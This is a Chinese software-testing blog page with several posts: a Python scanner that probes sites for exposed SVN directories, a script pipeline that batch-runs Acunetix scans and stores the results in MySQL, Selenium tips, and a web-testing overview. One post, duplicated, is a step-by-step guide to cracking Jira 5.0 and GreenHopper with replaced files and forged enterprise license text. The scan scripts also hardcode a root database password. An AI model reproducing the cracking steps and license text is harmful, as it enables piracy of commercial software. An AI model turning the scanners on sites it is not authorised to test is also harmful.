qileilove

          blog已經(jīng)轉(zhuǎn)移至github,大家請?jiān)L問 http://qaseven.github.io/

          svn信息泄漏探測工具(新手學(xué)python)

          快放假了,比較閑,寫了個(gè)svn信息泄漏的探測工具,嚴(yán)格意義上說和wwwscan功能差不多,判斷是否存在/.svn/等目錄,貼上代碼:
          #coding:utf-8
          import sys
          import httplib2
          if len(sys.argv)<2:
          print 'Usag:'+"svnscan.py"+" host"
          sys.exit()
          #判斷輸入url是否是http開頭
          if sys.argv[1].startswith('http://'):
          host=sys.argv[1]
          else:
          host="http://"+sys.argv[1]
          #訪問一個(gè)不存在的目錄,將返回的status和content-length做為特征
          status=''
          contentLen=''
          http=httplib2.Http()
          dirconurl=host+'/nodirinthiswebanx4dm1n/'
          dirresponse=http.request(dirconurl,'GET')
          status=dirresponse[0].status
          contentLen=dirresponse[0].get('content-length')
          #字典中保存svn的常見目錄,逐個(gè)訪問和特征status、content-length進(jìn)行比對
          f=open(r'e:\svnpath.txt','r')
          pathlist=f.readlines()
          def svnscan(subpath):
          for svnpath in pathlist:
          svnurl=host+svnpath.strip('\r\n')
          response=http.request(svnurl,'GET')
          if response[0].status!=status and response[0].get('content-length')!=contentLen:
          print "vuln:"+svnurl
          if __name__=='__main__':
          svnscan(host)
          f.close()
            svnpath.txt文件中保存的常見的svn版本控制的目錄路徑等,借鑒了某大嬸的思路,根據(jù)返回的狀態(tài)碼、content-length跟一個(gè)不存在的目錄返回的狀態(tài)碼、content-length進(jìn)行比對,主要目的是確保判斷的準(zhǔn)確性,因?yàn)橛行┱军c(diǎn)可能會有404提示頁等等。
            目前只能想到的是存在svn目錄,且權(quán)限設(shè)置不嚴(yán)格的,所以這個(gè)程序應(yīng)該是不能準(zhǔn)確判斷是否存在漏洞,只能探測是否存在svn的目錄。
            不知道還有其它的辦法來確認(rèn)一個(gè)站點(diǎn)是否存在svn目錄?目錄瀏覽返回的狀態(tài)應(yīng)該也是200?還是有另外的狀態(tài)碼?

          posted @ 2014-12-23 00:02 順其自然EVO 閱讀(536) | 評論 (0)編輯 收藏

          Python實(shí)現(xiàn)Awvs自動化掃描

           最近再做一個(gè)python的小程序,主要功能是實(shí)現(xiàn)Acuenetix Web Vulnerability Scanner的自動化掃描,批量對一些目標(biāo)進(jìn)行掃描,然后對掃描結(jié)果寫入mysql數(shù)據(jù)庫。寫這篇文章,分享一下一些思路。
            程序主要分三個(gè)功能模塊,Url下載、批量掃描、結(jié)果入庫,
            有一個(gè)另外獨(dú)立的程序,在流量鏡像服務(wù)器上進(jìn)行抓包,抓取Http協(xié)議的包,然后對包進(jìn)行篩選處理,保留一些帶有各種參數(shù)的url,然后對url進(jìn)行入庫。url下載功能主要是從mysql數(shù)據(jù)庫中下載url。
            批量掃描功能主要調(diào)用了Awvs的命令行wvs_console.exe,調(diào)研的時(shí)候先是嘗試用awvs計(jì)劃任務(wù)來實(shí)現(xiàn)批量掃描,但是發(fā)現(xiàn)在將一些awvs設(shè)置發(fā)包給計(jì)劃任務(wù)的時(shí)候會遇到各種困難,計(jì)劃任務(wù)貌似也不是一個(gè)網(wǎng)頁,采用的是XML模版,技術(shù)有限,最后沒實(shí)現(xiàn),只好放棄。
            之后發(fā)現(xiàn)Awvs支持命令行,wvs_console.exe就是主程序,有很多命令參數(shù),基本能實(shí)現(xiàn)Awvs界面操作的所有功能。批量掃描主要是讀取下載到本地的url,進(jìn)行逐一掃描。要將掃描結(jié)果保存到本地access數(shù)據(jù)庫文件,需要使用savetodatabase參數(shù)。
            Awvs會自動將掃描結(jié)果保存到本地的access數(shù)據(jù)庫中,具體的表是Wvs_alerts,也可以設(shè)置保存到Mssql數(shù)據(jù)庫中,具體的是在Application Setting進(jìn)行設(shè)置。結(jié)果入庫模塊的功能是從access數(shù)據(jù)庫篩選出危害等級為3的漏洞,然后將它們寫入到mysql數(shù)據(jù)庫。主要用了正則表達(dá)式對request中的host,漏洞文件,get或post提交的請求進(jìn)行篩選拼湊,獲取到完整的漏洞測試url。
            貼上代碼,很菜,代碼各種Bug,最主要的是程序的整個(gè)流程設(shè)計(jì)存在問題,導(dǎo)致后來被大佬給否掉了,沒有考慮到重復(fù)掃描和程序異常中止的情況,導(dǎo)致我的程序只能一直運(yùn)行下去 ,否則重新運(yùn)行又會從頭對url進(jìn)行掃描。
            對此很郁悶,某天晚上下班回家想了想,覺得可以通過以下方法來解決以上兩個(gè)問題:
            Awvs掃描結(jié)果數(shù)據(jù)庫中有一個(gè)Wvs_scans表,保存的都是掃描過的url,以及掃描開始時(shí)間和結(jié)束時(shí)間。可以將當(dāng)天下載的url保存到一個(gè)list中,然后在掃描之前先將之前所有掃描過的URL查詢出來,同樣保存在list中,讀取list中的url,判斷是否在掃描過的URL list中,如果存在將之從url list中刪除掉;如果不存在則再進(jìn)行掃描。
            異常中止的話貌似只能增加系統(tǒng)計(jì)劃任務(wù),每天結(jié)束再打開,不知道如何時(shí)時(shí)監(jiān)視系統(tǒng)進(jìn)程,通過是否存在wvs的進(jìn)程來判斷。
            以上只是一個(gè)大概的程序介紹,貼上代碼,代碼可能存在一些問題,有興趣的童鞋去完善完善,大佬覺得我的效率和編碼能力有待提高,so,讓繼續(xù)學(xué)習(xí),所以沒再繼續(xù)跟進(jìn)這個(gè)項(xiàng)目。
            downurl.py 代碼:
          #coding:utf-8
          import MySQLdb
          import os,time,shutil
          import hashlib,re
          datanow=time.strftime('%Y-%m-%d',time.localtime(time.time()))
          #filetype='.txt'
          #urlfilename=datanow+filetype
          #path="D:\wvscan\url\\"
          #newfile=path+urlfilename
          datanow=time.strftime('%Y-%m-%d',time.localtime(time.time()))
          con=MySQLdb.Connect('10.1.1.1','root','12345678','wvsdb')
          cur=con.cursor()
          sqlstr='select url from urls where time like %s'
          values=datanow+'%'
          cur.execute(sqlstr,values)
          data=cur.fetchall()
          #將當(dāng)天的URL保存到本地url.txt文件
          f=open(r'd:\Wvscan\url.txt','a+')
          uhfile=open(r'd:\Wvscan\urlhash.txt','a+')
          line=uhfile.readlines()
          #保存之前對url進(jìn)行簡單的處理,跟本地的hash文件比對,確保url.txt中url不重復(fù)
          for i in range(0,len(data)):
          impurl=str(data[i][0]).split('=')[0]
          urlhash=hashlib.new('md5',impurl).hexdigest()
          urlhash=urlhash+'\n'
          if urlhash in line:
          pass
          else:
          uhfile.write(urlhash)
          newurl=str(data[i][0])+'\n'
          f.writelines(newurl)
          cur.close()
          con.close()
          抓包程序抓到的url可能重復(fù)率較高,而且都是帶參數(shù)的,保存到本地的時(shí)候截取了最前面的域名+目錄+文件部分進(jìn)行了簡單的去重。Awvs可能不大適合這樣的方式,只需要將全部的域名列出來,然后逐一掃描即可,site Crawler功能會自動爬行。
            writeinmysql.py 結(jié)果入庫模塊,代碼:
          #coding:UTF-8
          import subprocess
          import os,time,shutil,sys
          import win32com.client
          import MySQLdb
          import re,hashlib
          reload(sys)
          sys.setdefaultencoding('utf-8')
          #需要先在win服務(wù)器設(shè)置odbc源,指向access文件。實(shí)際用pyodbc模塊可能更好一些
          def writeinmysql():
          conn = win32com.client.Dispatch(r'ADODB.Connection')
          DSN = 'PROVIDER=Microsoft Access Driver (*.mdb, *.accdb)'
          conn.Open('awvs')
          cur=conn.cursor()
          rs = win32com.client.Dispatch(r'ADODB.Recordset')
          rs.Open('[WVS_alerts]', conn, 1, 3)
          if rs.recordcount == 0:
          exit()
          #遍歷所有的結(jié)果,cmp進(jìn)行篩選危害等級為3的,也就是高危
          while not rs.eof:
          severity = str(rs('severity'))
          if cmp('3', severity):
          rs.movenext
          continue
          vultype = rs('algroup')
          vulfile=rs('affects')
          #由于mysql庫中要求的漏洞類型和access的名稱有點(diǎn)差別,所以還需要對漏洞類型和危害等級進(jìn)行二次命名,sql注入和xss為例
          xss='Cross site'
          sqlinject='injection'
          if xss in str(vultype):
          vultype='XSS'
          level='低危'
          elif sqlinject in str(vultype):
          vultype="SQL注入"
          level='高危'
          else:
          level='中危'
          #拼湊出漏洞測試url,用了正則表達(dá)式, post和get類型的request請求是不同的
          params = rs('parameter')
          ss = str(rs('request'))
          str1 = ss[0:4]
          if 'POST'== str1:
          requestType = 'POST'
          regex = 'POST (.*?) HTTP/1\.\d+'
          str1 = re.findall(regex, ss);
          else:
          requestType = 'GET'
          regex = 'GET (.*?) HTTP/1\.\d+'
          str1 = re.findall(regex, ss);
          regex = 'Host:(.*?)\r\n'
          host = re.findall(regex, ss);
          if host == []:
          host = ''
          else:
          host = host[0].strip()
          if str1 == []:
          str1 = ''
          else:
          str1 = str1[0]
          url =host + str1
          timex=time.strftime('%Y-%m-%d',time.localtime(time.time()))
          status=0
          scanner='Awvs'
          comment=''
          db = MySQLdb.connect(host="10.1.1.1", user="root", passwd="12345678", db="wvsdb",charset='utf8')
          cursor = db.cursor()
          sql = 'insert into vuls(status,comment,vultype,url,host,params,level,scanner) values(%s,%s,%s,%s,%s,%s,%s,%s)'
          values =[status,comment,vultype,'http://'+url.lstrip(),host,params,level,scanner]
          #入庫的時(shí)候又進(jìn)行了去重,確保mysql庫中沒有存在該條漏洞記錄,跟本地保存的vulhash進(jìn)行比對,感覺這種方法很原始。
          hashvalue=str(values[2])+str(values[4])+str(vulfile)+str(values[5])
          vulhash=hashlib.new('md5',hashvalue).hexdigest()
          vulhash=vulhash+'\n'
          file=open(r'D:\Wvscan\vulhash.txt','a+')
          if vulhash in file.readlines():
          pass
          else:
          file.write(vulhash+'\n')
          cursor.execute(sql, values)
          delsql='delete from vuls where vultype like %s or vultype like %s'
          delvaluea='Slow HTTP%'
          delvalueb='Host header%'
          delinfo=[delvaluea,delvalueb]
          cursor.execute(delsql,delinfo)
          db.commit()
          rs.movenext
          rs.close
          conn.close
          cursor.close()
          db.close()
          if __name_=='__main__':
          writeinmysql()
          time.sleep(10)
          #備份每天的掃描數(shù)據(jù)庫,用原始數(shù)據(jù)庫替換,方便第二天繼續(xù)保存。
          datanow=time.strftime('%Y-%m-%d',time.localtime(time.time()))
          filetype='.mdb'
          urlfilename=datanow+filetype
          path="D:\wvscan\databak\\"
          databakfile=path+urlfilename
          shutil.copyfile(r'D:\Wvscan\data\vulnscanresults.mdb',databakfile)
          shutil.copyfile(r'D:\Wvscan\vulnscanresults.mdb',r'D:\Wvscan\data\vulnscanresults.mdb')
            startwvs.py,掃描模塊,這個(gè)模塊問題較多,就是之前提到的,沒有考慮重復(fù)掃描和異常終止的問題,貼上代碼:
          #coding:utf-8
          import subprocess
          import os,time,shutil
          file=open(r"D:\Wvscan\url.txt","r")
          def wvsscan():
          for readline in file:
          url=readline.strip('\n')
          cmd=r"d:\Wvs\wvs_console.exe /Scan "+url+r" /SavetoDatabase"
          doscan=subprocess.Popen(cmd)
          doscan.wait()
          if __name__=='__main__':
          wvsscan()
          English »
           
          Text-to-speech function is limited to 100 characters

          posted @ 2014-12-23 00:01 順其自然EVO 閱讀(1191) | 評論 (0)編輯 收藏

          Selenium中常用的xpath

           selenium大部分的方法參數(shù)都是java.lang.String locator,假如我們想傳入xptah表達(dá)式,可以在表達(dá)式的開頭加上"xpath=",也可以不加.如下面的兩個(gè)效果是一樣的.
            selenium.getAttribute("http://tr/input/@type")  === selenium.getAttribute("xpath=//tr/input/@type")
            selenium中有一個(gè)比較特別而非常有用的方法
            java.lang.Number getXpathCount(java.lang.String xpath)
            通過此方法我們可以得到所有匹配xpath的數(shù)量,調(diào)用此方法,傳入的表達(dá)式就不能以"xpath="
            開頭.
            另外需要知道的是:當(dāng)xpath表達(dá)式匹配到的內(nèi)容有多個(gè)時(shí),seleium默認(rèn)的是取第一個(gè),假如,我們想
            自己指定第幾個(gè),可以用"xpath=(xpath表達(dá)式)[n]"來獲取,例如:
            selenium.getText("http://table[@id='order']//td[@contains(text(),'刪除')]");
            在id為order的table下匹配第一個(gè)包含刪除的td.
            selenium.getText("xpath=(//table[@id='order']//td[@contains(text(),'刪除')])[2]");
            匹配第二個(gè)包含刪除的td.
            在調(diào)試xpath的時(shí)候,我們可以下個(gè)firefox的xpath插件,這樣可以在頁面上通過右鍵開啟xpath插件.
            然后隨時(shí)可以檢驗(yàn)xpath所能匹配的內(nèi)容,非常方便.假如通過插件測試的xpath表達(dá)式可以匹配
            到預(yù)期的內(nèi)容,但是放到selenium中跑卻拿不到,那么最有可能出現(xiàn)的問題是:在你調(diào)用seleium方法
            時(shí),傳入的xpath表達(dá)式可能多加了或者是少加了"xpath=".
            以下為幾個(gè)常用的xpath:
            1.selenium.getAttribute("http://tr/input/@type")
            2.selenium.isElementPresent("http://span[@id='submit' and @class='size:12']");
            3.selenium.isElementPresent("http://tr[contains(@sytle,'display:none')]");
            4.selenium.isElementPresent("http://*[contains(name(),'a')]"); //這個(gè)等價(jià)于 //a
            5.selenium.isElementPresent("http://tr[contains(text(),'金錢')]");

          posted @ 2014-12-23 00:00 順其自然EVO 閱讀(1369) | 評論 (0)編輯 收藏

          Selenium WebDriver之JavaScript

          WebDriver提供了方法來同步/異步執(zhí)行JavaScript代碼,這是因?yàn)镴avaScript可以完成一些WebDriver本身所不能完成的功能,從而讓W(xué)ebDriver更加靈活和強(qiáng)大。
            本文中所提到的都是JAVA代碼。
            1. 在WebDriver中如何執(zhí)行JavaScript代碼
            JavaScript代碼總是以字符串的形式傳遞給WebDriver,不管你的JavaScript代碼是一行還是多行,WebDriver都可以用executeScript方法來執(zhí)行字符串中包含的所有JavaScript代碼。
            WebDriver driver = new FirefoxDriver();
            JavascriptExecutor driver_js=(JavascriptExecutor)driver;
            String js = "alert(\"Hello World!\");";
            driver_js.executeScript( js);
            2.同步執(zhí)行JavaScript和異步執(zhí)行JavaScript的區(qū)別
            同步執(zhí)行:driver_js.executeScript( js)
            如果JavaScript代碼的執(zhí)行時(shí)間較短,可以選擇同步執(zhí)行,因?yàn)閃ebdriver會等待同步執(zhí)行的結(jié)果,然后再運(yùn)行其它的代碼。
            異步執(zhí)行:driver_js.executeAsyncScript(js)
            如果JavaScript代碼的執(zhí)行時(shí)間較長,可以選擇異步執(zhí)行,因?yàn)閃ebdriver不會等待其執(zhí)行結(jié)果,而是直接執(zhí)行下面的代碼。
            3. 用Javascript實(shí)現(xiàn)等待頁面加載的功能
            public void waitForPageLoad() {
            While(driver_js.executeScript("return document.readyState" ).equals ("complete")){
            Thread.sleep(500);
            }
            }
            這樣做的缺點(diǎn)是,沒有設(shè)定timeout時(shí)間,如果頁面加載一直不能完成的話,那么代碼也會一直等待。當(dāng)然你也可以為while循環(huán)設(shè)定循環(huán)次數(shù),或者直接采用下面的代碼:
          protected Function<WebDriver, Boolean> isPageLoaded() {
          return new Function<WebDriver, Boolean>() {
          @Override
          public Boolean apply(WebDriver driver) {
          return ((JavascriptExecutor) driver).executeScript("returndocument.readyState").equals("complete");
          }
          };
          }
          public voidwaitForPageLoad() {
          WebDriverWait wait = new WebDriverWait(driver, 30);
          wait.until(isPageLoaded());
          }
            需要指出的是單純的JavaScript是很難實(shí)現(xiàn)等待功能的,因?yàn)镴avaScript的執(zhí)行是不阻塞主線程的,你可以為指定代碼的執(zhí)行設(shè)定等待時(shí)間,但是卻無法達(dá)到為其它WebDriver代碼設(shè)定等待時(shí)間的目的。有興趣的同學(xué)可以研究一下。
            4. Javascrpt模擬點(diǎn)擊操作,并觸發(fā)相應(yīng)事件
            String js ="$(\"button.ui-multiselect.ui-widget\").trigger(\"focus\");"
            +"$(\"button.ui-multiselect.ui-widget\").click();"
            +"$(\"button.ui-multiselect.ui-widget\").trigger(\"open\");";
            ((JavascriptExecutor)driver).executeScript( js);
            5. Javacript scrollbar的操作
            String js ="var obj = document.getElementsById(\“div_scroll\”);”
            +”obj.scrollTop= obj.scrollHeight/2;”
            ((JavascriptExecutor)driver).executeScript(js);

          6. Javascript重寫confirm
            String js ="window.confirm = function(msg){ return true;}”
            ((JavascriptExecutor)driver).executeScript( js);
            通過執(zhí)行上面的js,該頁面上所有的confirm將都不再彈出。
            7. 動態(tài)載入jquery
            并不是所有的網(wǎng)頁都引入了Jquery,如果我們要在這些網(wǎng)頁上執(zhí)行Jquery代碼,就必須動態(tài)加載Jquery source文件
            driver.get("file:///C:/test.html");
            boolean flag =(boolean)(driver_js).executeScript("return typeof jQuery =='undefined'");
            if (flag)
            {
            driver_js.executeScript("var jq =document.createElement('script');"
            + "jq.type ='text/javascript'; "
            +"jq.src ='http://ajax.googleapis.com/ajax/libs/jquery/1.10.2/jquery.min.js';"
            +"document.getElementsByTagName('head')[0].appendChild(jq);");
            Thread.sleep(3000);
            }
            waiter.waitForPageLoad();
            driver_js.executeScript("$(\"input#testid\").val(\"test\");");
            8. 判斷元素是否存在
            可以通過下面的辦法來判斷頁面元素是否存在,但是缺點(diǎn)就是如果元素不存在,必須在拋出exception后才能知道,所以會消耗一定的時(shí)間(需要超時(shí)后才會拋出異常)。
          boolean ElementExist(By Locator){
          try{
          driver.findElement(Locator);
          return true;
          }
          catch(org.openqa.selenium.NoSuchElementException ex)
          {
          return false;
          }
          }
            也許我們可以在JavaScript中判斷頁面元素是否存在,然后再將結(jié)果返回給Webdriver的Java代碼。
            頁面元素
            String js =" if(document.getElementById("XXX")){ return true; } else{ return false; }”
            String result = ((JavascriptExecutor)driver).executeScript(js);
            或者
            表單元素
            String js =" if(document.theForm.###){return true; } else{ return false; }”
            String result = ((JavascriptExecutor)driver).executeScript(js);
            9. 結(jié)尾
            JavaScript在WebDriver中還可以做很多事情,但這還不是全部。比如,我們是否可以編寫代碼來監(jiān)視在整個(gè)Webdrvier測試代碼運(yùn)行過程是否產(chǎn)生過JavaScriptError呢,答案是肯定的,有興趣的同學(xué)可以深入研究一下。

          posted @ 2014-12-22 23:57 順其自然EVO 閱讀(620) | 評論 (0)編輯 收藏

          Jira5.0+greenhopper6.1.6的安裝

          字體:        | 上一篇 下一篇 | 打印  | 我要投稿  | 推薦標(biāo)簽: 軟件測試工具 JIRA

            這種文章其實(shí)不太想寫,更愿意找一篇然后添加到自己的有道筆記里面收藏,但網(wǎng)上找的真心讓我上火。
            不過不得不說一下,中國人真的很牛B,這軟件啊,只要咱們想用,就肯定有人破解。對于做程序員的我來說,這是不是一種悲哀呢?用一個(gè)笑話來開題吧:
            A:你們能不能不要這樣?支持一下正版好不好?程序員也是要養(yǎng)家的
            B:程序員哪來的家?
            開始正題:
            首先jira就裝5.0的吧,比這個(gè)版本高的通過網(wǎng)上找的方法也是可以破解的,但是插件管理是不可以用的。
            其實(shí)上火的就在這個(gè)地方,最剛開始是要搭一個(gè)jira+wiki。找了一個(gè)看到j(luò)ira5.1.5+confluence5.3安裝、破解、漢化一條龍服務(wù)的文檔,于是屁顛屁顛的開始了。可是裝上之后,怎么也找不到Jira中文代理上面看到的一種面板:Agile,后來自己點(diǎn)著點(diǎn)著,發(fā)現(xiàn)這是一個(gè)插件就是題目中提到的greenhopper。
            于是就開始各種安裝啊,但是插件管理頁面上面總有一行紅字,意思就是說授權(quán)信息不對之類的。于是就開始找各種版本。
            吐糟的話就不多說了,下面開始正題了:
            Jira安裝(簡單說明):
            1.下載5.0windows安裝版
            2.安裝,下一步到需要輸入授權(quán)的地方
            3.關(guān)閉Jira服務(wù)(開始—>程序—>Jira—>Stop…)
            Jira破解:
            1.下載破解文件
            2.將文件夾直接與Jira_home\atlassian-jira下的Web-Inf合并
            3.開始Jira服務(wù)(開始—>程序—>Jira—>Start…)
            4.Jira license如下,其實(shí)ServerID需要改成你需要輸入授權(quán)信息頁上面顯示的那個(gè)ServerID,別的維持原狀就行。
          Description=JIRA\: longmaster
          CreationDate=2010-02-22
          ContactName=zzhcool@126.com
          jira.LicenseEdition=ENTERPRISE
          ContactEMail=zzhcool@126.com
          Evaluation=false
          jira.LicenseTypeName=COMMERCIAL
          jira.active=true
          licenseVersion=2
          MaintenanceExpiryDate=2099-10-24
          Organisation=zzh
          jira.NumberOfUsers=-1
          ServerID=B25B-ZTQQ-8QU3-KFBS
          LicenseID=LID
          LicenseExpiryDate=2099-10-24
          PurchaseDate=2010-10-25

          Jira漢化:
            1.下載漢化包
            2.將漢化包復(fù)制到:安裝目錄\Application Data\JIRA\plugins\installed-plugins
            3.關(guān)閉Jira服務(wù),再開啟Jira服務(wù)就行了
            GreenHopper安裝和破解:
            1.下載GreenHopper
            2.用管理員登錄Jira
            3.點(diǎn)擊右上角的"Administrator"
            4.選擇插件(Plugins)
            5.點(diǎn)擊install
            6.上傳插件
            7.點(diǎn)擊Manage Existing
            8.找到GreenHopper,點(diǎn)config
            9.輸入如下內(nèi)容,點(diǎn)add
          Description=GreenHopper for JIRA 4\: longmaster
          CreationDate=2010-02-21
          ContactName=zzhcool@126.com
          greenhopper.NumberOfUsers=-1
          greenhopper.LicenseTypeName=COMMERCIAL
          ContactEMail=zzhcool@126.com
          Evaluation=false
          greenhopper.LicenseEdition=ENTERPRISE
          licenseVersion=2
          MaintenanceExpiryDate=2099-10-24
          Organisation=zzhcool
          greenhopper.active=true
          LicenseID=LID
          LicenseExpiryDate=2099-10-24
          PurchaseDate=2010-10-25
            10.漢化的方式與jira的漢化方式一樣,暫時(shí)還沒有漢化的想法(我的jira也沒有漢化),可以自己去網(wǎng)上
            總結(jié):
            不論你是否會用這個(gè)做為項(xiàng)目管理軟件,都應(yīng)該看一下jira和confluence的軟件設(shè)計(jì),名門出身就是不一樣~~~使用文檔過兩天項(xiàng)目不太緊的時(shí)候再來看怎樣用吧,最近需要先Coding。

          posted @ 2014-12-22 23:56 順其自然EVO 閱讀(371) | 評論 (0)編輯 收藏

          Jira5.0+greenhopper6.1.6的安裝

          字體:        | 上一篇 下一篇 | 打印  | 我要投稿  | 推薦標(biāo)簽: 軟件測試工具 JIRA

            這種文章其實(shí)不太想寫,更愿意找一篇然后添加到自己的有道筆記里面收藏,但網(wǎng)上找的真心讓我上火。
            不過不得不說一下,中國人真的很牛B,這軟件啊,只要咱們想用,就肯定有人破解。對于做程序員的我來說,這是不是一種悲哀呢?用一個(gè)笑話來開題吧:
            A:你們能不能不要這樣?支持一下正版好不好?程序員也是要養(yǎng)家的
            B:程序員哪來的家?
            開始正題:
            首先jira就裝5.0的吧,比這個(gè)版本高的通過網(wǎng)上找的方法也是可以破解的,但是插件管理是不可以用的。
            其實(shí)上火的就在這個(gè)地方,最剛開始是要搭一個(gè)jira+wiki。找了一個(gè)看到j(luò)ira5.1.5+confluence5.3安裝、破解、漢化一條龍服務(wù)的文檔,于是屁顛屁顛的開始了。可是裝上之后,怎么也找不到Jira中文代理上面看到的一種面板:Agile,后來自己點(diǎn)著點(diǎn)著,發(fā)現(xiàn)這是一個(gè)插件就是題目中提到的greenhopper。
            于是就開始各種安裝啊,但是插件管理頁面上面總有一行紅字,意思就是說授權(quán)信息不對之類的。于是就開始找各種版本。
            吐糟的話就不多說了,下面開始正題了:
            Jira安裝(簡單說明):
            1.下載5.0windows安裝版
            2.安裝,下一步到需要輸入授權(quán)的地方
            3.關(guān)閉Jira服務(wù)(開始—>程序—>Jira—>Stop…)
            Jira破解:
            1.下載破解文件
            2.將文件夾直接與Jira_home\atlassian-jira下的Web-Inf合并
            3.開始Jira服務(wù)(開始—>程序—>Jira—>Start…)
            4.Jira license如下,其實(shí)ServerID需要改成你需要輸入授權(quán)信息頁上面顯示的那個(gè)ServerID,別的維持原狀就行。
          Description=JIRA\: longmaster
          CreationDate=2010-02-22
          ContactName=zzhcool@126.com
          jira.LicenseEdition=ENTERPRISE
          ContactEMail=zzhcool@126.com
          Evaluation=false
          jira.LicenseTypeName=COMMERCIAL
          jira.active=true
          licenseVersion=2
          MaintenanceExpiryDate=2099-10-24
          Organisation=zzh
          jira.NumberOfUsers=-1
          ServerID=B25B-ZTQQ-8QU3-KFBS
          LicenseID=LID
          LicenseExpiryDate=2099-10-24
          PurchaseDate=2010-10-25

          Jira漢化:
            1.下載漢化包
            2.將漢化包復(fù)制到:安裝目錄\Application Data\JIRA\plugins\installed-plugins
            3.關(guān)閉Jira服務(wù),再開啟Jira服務(wù)就行了
            GreenHopper安裝和破解:
            1.下載GreenHopper
            2.用管理員登錄Jira
            3.點(diǎn)擊右上角的"Administrator"
            4.選擇插件(Plugins)
            5.點(diǎn)擊install
            6.上傳插件
            7.點(diǎn)擊Manage Existing
            8.找到GreenHopper,點(diǎn)config
            9.輸入如下內(nèi)容,點(diǎn)add
          Description=GreenHopper for JIRA 4\: longmaster
          CreationDate=2010-02-21
          ContactName=zzhcool@126.com
          greenhopper.NumberOfUsers=-1
          greenhopper.LicenseTypeName=COMMERCIAL
          ContactEMail=zzhcool@126.com
          Evaluation=false
          greenhopper.LicenseEdition=ENTERPRISE
          licenseVersion=2
          MaintenanceExpiryDate=2099-10-24
          Organisation=zzhcool
          greenhopper.active=true
          LicenseID=LID
          LicenseExpiryDate=2099-10-24
          PurchaseDate=2010-10-25
            10.漢化的方式與jira的漢化方式一樣,暫時(shí)還沒有漢化的想法(我的jira也沒有漢化),可以自己去網(wǎng)上
            總結(jié):
            不論你是否會用這個(gè)做為項(xiàng)目管理軟件,都應(yīng)該看一下jira和confluence的軟件設(shè)計(jì),名門出身就是不一樣~~~使用文檔過兩天項(xiàng)目不太緊的時(shí)候再來看怎樣用吧,最近需要先Coding。

          posted @ 2014-12-22 23:55 順其自然EVO 閱讀(272) | 評論 (0)編輯 收藏

          測試Web應(yīng)用程序的基本要素

            今天,每個(gè)人都依賴用于商業(yè),教育和交易目的各類網(wǎng)站。網(wǎng)站涉及到互聯(lián)網(wǎng)。人們普遍認(rèn)為,現(xiàn)如今樣樣工作都離不開互聯(lián)網(wǎng)。不同類型的用戶連接到網(wǎng)站上為了獲取所需要的不同類型的信息。因此,網(wǎng)站應(yīng)該根據(jù)用戶的不同要求作出響應(yīng)。與此同時(shí),網(wǎng)站的正確的響應(yīng)已經(jīng)成為對于企業(yè)或組織而言至關(guān)重要的成功因素,因此,需要對其進(jìn)行應(yīng)徹底和頻繁的測試
            在這里,我們將討論通過各種方法來測試一個(gè)網(wǎng)站。然而,測試一個(gè)網(wǎng)站并不是一件容易的事,因?yàn)槲覀儾粌H需要測試客戶端還需要測試服務(wù)器端。通過這些方法,我們完全可以將網(wǎng)站測試到只存在最少數(shù)量的錯(cuò)誤。
            網(wǎng)絡(luò)測試介紹:
            系統(tǒng)的客戶端是由瀏覽器顯示的,它通過Internet來連接網(wǎng)站的服務(wù)器.所有網(wǎng)絡(luò)應(yīng)用的核心都是存儲動態(tài)內(nèi)容的關(guān)系數(shù)據(jù)庫。事務(wù)服務(wù)器控制了數(shù)據(jù)庫與其他服務(wù)器(通常被稱為“應(yīng)用服務(wù)器”)之間的的交互。管理功能負(fù)責(zé)處理數(shù)據(jù)更新和數(shù)據(jù)庫管理。
            Web應(yīng)用程序的廣泛架構(gòu):
            根據(jù)上述Web應(yīng)用的架構(gòu),很明顯,我們需要進(jìn)行以下測試以確保web應(yīng)用的適用性。
            1)服務(wù)器的預(yù)期負(fù)載如何,并且在該負(fù)載下服務(wù)器需要有什么樣的性能。這可以包括服務(wù)器的響應(yīng)時(shí)間以及數(shù)據(jù)庫查詢響應(yīng)時(shí)間。
            2)哪些瀏覽器將被使用?
            3)它們有怎樣的連接速度?
            4)它們是組織內(nèi)部的(因此具有高連接速度和相似的瀏覽器)或因特網(wǎng)范圍的(因而有各種各樣的連接速度和不同的瀏覽器類型)?
            5)預(yù)計(jì)客戶端有怎樣的性能(例如,頁面應(yīng)該多快出現(xiàn),動畫,小程序等多快可以加載并運(yùn)行)?
            對Web應(yīng)用程序的開發(fā)生命周期進(jìn)行描述時(shí)可能有許多專有名詞,包括螺旋生命周期或迭代生命周期等等。用更批判的方式來描述最常見的做法是將其描述為類似軟件開發(fā)初期軟件工程技術(shù)引入之前的非結(jié)構(gòu)化開發(fā)。在“維護(hù)階段”往往充滿了增加錯(cuò)失的功能和解決存在的問題。
            我們需要準(zhǔn)備回答以下問題:
            1)是否允許存在用于服務(wù)器和內(nèi)容維護(hù)/升級的停機(jī)時(shí)間?可以有多久?
            2)要求有什么樣的安全防護(hù)(防火墻,加密,密碼等),它應(yīng)該做到什么?怎樣才可以對其進(jìn)行測試?
            3)互聯(lián)網(wǎng)連接是否可靠?并且對備份系統(tǒng)或冗余的連接要求和測試有何影響?
            4)需要什么樣的流程來管理更新網(wǎng)站的內(nèi)容,并且對于維護(hù),跟蹤,控制頁面內(nèi)容,圖片,鏈接等有何要求?
            5)對于整個(gè)網(wǎng)站或部分網(wǎng)站來說是否有任何頁面的外觀和圖片的標(biāo)準(zhǔn)或要求?
            6)內(nèi)部和外部的鏈接將如何被驗(yàn)證和更新?多頻繁?
            7)將有多少次用戶登錄,是否需要測試?
            8)CGI程序,Applets,Javascripts,ActiveX組件等如何進(jìn)行維護(hù),跟蹤,控制和測試

          posted @ 2014-12-22 23:47 順其自然EVO 閱讀(680) | 評論 (0)編輯 收藏

          跨瀏覽器測試工具推薦

          有時(shí)候,在不同瀏覽器將下進(jìn)行測試軟件測試人員與項(xiàng)目團(tuán)隊(duì)的一大挑戰(zhàn)。在所有瀏覽器上運(yùn)行測試用例使得測試成本非常高。特別是,當(dāng)我們沒有專業(yè)的設(shè)計(jì)團(tuán)隊(duì),或在進(jìn)行頁面設(shè)計(jì)過程中沒有軟件驗(yàn)證及確認(rèn)的時(shí)候,更為挑戰(zhàn)。這是不好的部分。現(xiàn)在,讓我們來看看有什么好的部分。
            最棒的是,在市場上有許多免費(fèi)或收費(fèi)的跨瀏覽器兼容測試工具。最關(guān)鍵的是,大多數(shù)情況你可以用免費(fèi)的工具來完成你的工作。如果你有非常特殊的要求,那么你可能需要一個(gè)收費(fèi)的跨瀏覽器兼容測試工具。讓我們簡單介紹一下一些最好的工具:
